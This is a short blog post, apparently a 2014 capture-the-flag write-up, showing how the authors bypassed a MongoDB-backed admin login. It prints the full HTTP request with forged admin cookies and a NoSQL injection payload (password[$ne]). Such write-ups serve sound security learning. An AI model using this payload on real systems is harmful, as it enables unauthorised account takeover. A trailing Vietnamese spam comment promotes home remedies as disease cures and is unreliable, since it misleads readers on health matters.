Monday, May 12, 2014

Hacktrick 2014 - ORION - Web Write-up

on this challenge we were supposed to login as admin to a page, which we can register and login with our registered credentials. first we looked for guessable sessionid, but it was not :(. Then tried setting some cookies as admin, isadmin. It did not work neither. Then we get a hint that the server was using mongodb after that everything was easy we just make a nosqli request and became admin. To guess the username we used the registration system. The request made by netcat was this:

POST /index.php HTTP/1.1
Host: 80.251.47.26
Connection: keep-alive
Content-Length: 32
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://80.251.47.26
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://80.251.47.26/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: admin=true; isadmin=true; PHPSESSID=123 
login=admin&password[$ne]=huhu&submit=

after that we just refreshed the page :)

1 comment :

  1. Dấm táo mèo có tác dụng gì?Nhiều năm gần đây quả táo mèo đã được rất nhiều người biết đến và vô cùng ưa chuộng bởi các tác dụng chữa bệnh của nó.
    Rau chân vịt còn gọi là rau gì?Mọi người đang truyền tai nhau rằng rau chân vịt có nhiều tác dụng chữa bệnh và chứa nhiều thành phần dinh dưỡng rất tốt cho cơ thể.
    Rau chân vịt có tác dụng gì?Rau chân vịt không chỉ là rau bổ ích trong các bữa ăn hằng ngày, mà rau chân vịt còn biết đến với nhiều tác dụng chữa bệnh vô cùng hiệu quả đối với con người chúng ta.
    Bệnh ung thư dạ dày sống được bao lâu?Khi nhận kết quả Ung thư dạ dày, ít người biết rằng mặc dù kết quả cùng như vậy nhưng tỷ lệ sống của các bệnh nhân rất khác nhau phụ thuộc vào giai đoạn của bệnh, sức khỏe chung của bệnh nhân, tinh thần và khả năng chăm sóc y tế.
    Triệu chứng của bệnh ung thư dạ dày giai đoạn đầuUng thư dạ dày là loại ung thư xuất phát từ niêm mạc dạ dày, rất thường gặp trong đời sống hằng ngày, đứng đầu trong các loại bệnh ung thư đường tiêu hóa.
    Bệnh ung thư dạ dày nên ăn gì?Có lẻ đây là vấn đề mà rất nhiều bạn đóc quan tâm. Để giúp các bạn hiểu rõ hơn, bài viết dưới đây xin chia sẻ những kiến thức hữu ích trong chế độ dinh dưỡng cho người bị bệnh ung thư dạ dày.
    Trà gừng có tác dụng gì?Gừng không chỉ được biết đến là gia vị thơm, cay không thể thiếu trong các món ăn hằng ngày mà gừng còn biết đến với nhiều công dụng chữa trị bệnh vô cùng hiệu quả
    Nên uống trà gừng lúc nào thì tốt?Nên uống trà gừng lúc nào thì tốt? của các bạn gởi đến, chúng tôi xin giúp mọi người giải đáp vấn đề, đồng thời cung cấp những thông tin về việc uống trà gừng. Cùng xem nhé!
    Đột quỵ là gì?Nếu chưa hãy cùng mình xem xét bài viết dưới đây để hiểu thêm về căn bệnh nguy hiểm này nhé!
    Dầu oliu nguyên chất có tác dụng gì?Dầu ôliu không những tốt cho sức khoẻ con người, chữa được nhiều bệnh mà tác dụng của dầu ôliu đối với việc làm đẹp được chị em phụ nữ đặc biệt quan tâm
    Cách sử dụng dầu oliu dưỡng daĐồng thời, các chất chống oxy hóa có trong sữa chua giúp tái tạo da, trẻ hóa làn da một cách nhanh chóng.

    ReplyDelete